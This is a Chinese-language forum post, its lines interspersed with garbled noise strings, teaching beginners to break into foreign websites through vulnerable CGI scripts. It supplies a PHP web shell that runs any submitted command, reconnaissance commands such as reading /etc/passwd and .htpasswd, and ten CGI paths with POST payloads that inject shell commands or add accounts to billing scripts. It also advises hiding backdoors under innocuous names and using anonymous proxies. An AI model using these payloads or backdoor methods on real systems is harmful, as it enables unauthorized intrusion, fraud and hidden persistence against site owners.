CGI 脚本入侵快速上手+脚本使用方法

admin

CGI 脚本入侵快速上手+脚本使用方法
8 B9 o% `. n3 w) X& P2 q大家好 我是bboyhip  只是一名菜菜的exploiter
& J% I9 J; x; q0 Z) X0 J很开心来到贵论坛
这里让我感觉 很有技术交流的感觉
我会长长来玩的
前言:
以下讲解针对欧美日本网站
. @. k3 e" G- p. ~$ N當我們在做滲透分析的時候 方法有很多
7 e! H1 l0 a/ W2 A" S我门都知道 国外伺服器大多是linux 平台
所以有很多网站程序有6成都会使用cgi 脚本来管理
5 Y9 H$ A/ j$ F( l9 p* g0 }. J目录为/cgi-bin/
& v. T/ Z. R+ m$ c& p) k; s4 s
只是个人在实务上一些经验
. m2 U# t: d: ]5 i写的不好 请多多见谅喔
在这里我简单分为几个部份一定要會的
# ?9 g4 z0 p6 y' m讲解一下
+ x+ e7 S6 D+ f6 a3 g  p让没有基础的人很容易上手

, l* d" S+ S$ M6 u' V以下内容跟帖回复才能看到
==============================
- K) L) U% l8 P+ U1 I# m5 F
第1部份: 何谓Shell?
% `. a7 q7 p# Z  Z, |Shell的中文, 可称为 "壳".  Shell 是一个比较复杂的概念, 先看比较传统的解释:
A shell is the program which reads user input from the command line and executes actions based upon that input.
) r9 t' p/ Q, w3 M7 ]6 R* R+ }意思是, 通过应用程式(shell), 用户输入指令, 由系统执行该指令.
" x" l5 @4 |$ {
) E+ G/ W8 T5 t( B对於黑客来说, shell是後门, 是入侵/ 控制/ 浏览对方系统的程式/ 方法.  
要自行建立一个shell是十分困难的, 因为要先找漏洞, 找到後, 利用该漏洞来写入档案/ 後门.  大家都知道, 有些漏洞只可加码, 有些可读档, 但可以写档的不多.  在数年前, 有一个十分流行及易用的漏洞addpasswd.cgi, 可以写後门, 但时至今日, 绝大部份的addpasswd.cgi已经被删除.
所以, 对於入门的exploiter来说, 先收集别人的後门, 多多练习, 然後再学习做自己的shell.

: s4 z- ?; n* ~第2部份: Unix 指令
: B# i; Z* [# f$ F0 F以下是一些常见及重要的指令:
  I9 i  p+ ~1 v  y! K  A# u! Kpwd: 显示当前目录, 即是後门/程式所在的位置
* P% s5 l. f9 F% f% k' T- |如 /home/www/site.com/cgi-bin/
ls: 列出档案 (-a 包含隐藏档; -l 包含详细资料).  
ls -al :详细列出档案资料(当前目录)
. n) i4 @$ R, y- _7 [. _ls /: 列出根目录
ls /etc: 列出/etc的资料夹及档案
4 v' f9 b5 C+ f( X0 Y$ m+ ?ls ../ -al: 详细列出上一层的资料夹及档案
cat: 显示档案内容
cat .htpasswd: 显示 .htpasswd 这个档案的内容(当前目录)
cat /etc/passwd: 显示 /etc/passwd 这个档案的内容
who: 显示谁login 至系统
- w+ p9 R$ k1 ^man: 显示指令用法  
man ls: 显示ls这指令的用法  
mkdir 建立目录
rmdir 删除目录
" K* y4 V3 A, t' v* o$ T) b( X% Imv 移动档案
2 i- F/ i5 w: O) d% f. crm 删除档案
3 b( q7 f( r1 ]. o' k; b
第3部份: Shell的使用
例如:
http://site.com/refer.php
: k: p- m! s5 I9 K; j这是我的後门, 原代码如下:
" u2 E6 O( ^. C<Form Action="#" Method="POST">
<Input type="text" name="cmd">
<Input type="Submit">
</Form>
: ?0 L& x$ Y8 o<?php
$cmd = $_POST['cmd'];
$Output = shell_exec($cmd);
1 _0 D6 p6 P) techo $Output;
?>
输入pwd, 可得到绝对路径:
/home/htdocs/users/jnesbitt/jnesbitt/nylonfantasies.com

第4部份: 注意事项
- 使用匿名代理, 保障自己
, u+ R9 E# b$ ~3 [; Y9 i- 不可恶意破坏, 或更改现有档案, 否则管理员发现了, 不但会删除後门, 可能会有追究行动
- 加後门前, 必须了解目标系统是否支援.  例如, cgi後门, 应放在cgi-bin; 有些系统可能不支援 php後门等.
- 加後门前 (如 index.php), 先检查是否已存在该档案名称, 以免覆盖原有档案, 造成破坏.
- 後门的名称, 不可使用hack, crack, exploit等字眼, 最好使用index, index1, log, login, refer, tmp, test, info等, 鱼目混珠,
不容易被发现.
1 j$ W8 w. C* f) Q2 t9 C- 将後门放在比较隐闭的地方 (例如 /cgi-bin/内, 有很多cgi档案, 比较少php档案)
针对网站的渗透分析方法太多了
2 V3 `; {$ P0 X. _5 F这篇文章的重点是cgi 脚本攻击
6 M1 v: A6 i1 q1 [6 T: _' y0 H$ Y所以我用简单的叙述形容
开始讲解脚本入侵过程:
7 X! J% g3 f6 I) e1 G: R3 z0 l, z在这里提供一些方法思路让大家学习一下

1.一开始对一个网站进行cgi漏洞扫描
9 {) d0 b3 S$ \5 f3 B我们需要的东西有
扫洞工具 如:triton..等等
# A: B) ?. ~1 WE表
  h" y/ C3 q( [4 l2 W如
/cgi-bin/add-passwd.cgi
1 |& Y, q$ \5 P/ J/WebShop/templates/cc.txt
/Admin_files/order.log
4 Q, }( J4 \& i4 a  X' y/orders/mountain.cfg
% v& ?: s& z+ C# f5 R$ E1 T) x# u/cgi-sys/cart.pl
* c5 |. T0 M, }  `/scripts/cart.pl
/htbin/cart.pl
1 U9 g; Q9 F1 z" sE表来源可以是网路收寻或是自己的0 day

2.怎样确认扫到的洞 是真的还假的?
举例: target: http://www.site.com/cgi-bin/add-passwd.cgi
; {* A* M  w& m4 B+ ~5 e+ E一般都是在IE里先看一下的,记住这个返回码哦
7 `) v, s3 g2 v; gERROR:This script should be referenced with a METHOD of POST.
没有返回一定是假的
& K4 Y6 R0 ^0 n3.重来来了 很多人都会问我
他扫到很多洞 但是不会使用
因为这些漏洞 使用的语法 称为post
$ b0 r' I0 T( L我们要找post 的方法很多
* K0 a  P9 @4 O- Z可以是源代码分析 找出介质
6 O! t  {, V: E, m1 I或是用抓包工具 抓他的语法...等等

# Y6 z% A+ Y, o% G0 Z! |; m以下我提供10个 cgi 洞以及使用方法post
: ^9 I* y: n3 [0 F$ F4 v让大家可以针对网站去做扫描  
/index.cgi
6 \2 i7 @* V  f$ A" c& q$ Dwei=ren&gen=command
/passmaster.cgi
Action=Add&Username=Username&Password=Password
9 c8 t2 W# O% {8 L0 D/accountcreate.cgi
username=username&password=password&ref1=|echo;ls|
9 a5 D- D% Y3 c% G% m* e/form.cgi
, [$ t4 p3 m3 J" T" y% Fname=xxxx&email=email&subject=xxxx&response=|echo;ls|
/addusr.pl
. ]7 B9 p# |/ R4 n' O5 p. x' m+ }/cgi-bin/EuroDebit/addusr.pl
' \( w- E' n, c$ e1 g' D" U/ @' _user=username&pass=Password&confirm=Password
  R+ e6 O; w  f: A8 t/ccbill-local.asp
post_values=username:password
/count.cgi
: b) f( N7 w/ o# s6 V* [4 Y' @% K3 @pinfile=|echo;ls -la;exit|
# R6 K2 @  ]. ?0 n6 S7 z/recon.cgi
3 f/ E% r: g# v3 w& j, t/recon.cgi?search
searchoption=1&searchfor=|echo;ls -al;exit|
6 p7 j$ O' k' `! @: T* D: i6 @/verotelrum.pl
vercode=username:password:dseegsow:add:amount<&30>
/af.cgi_browser_out=|echo;ls -la;exit;|

5 }6 z7 [+ t% V3 O6 X今天就讲到这  感谢大家支持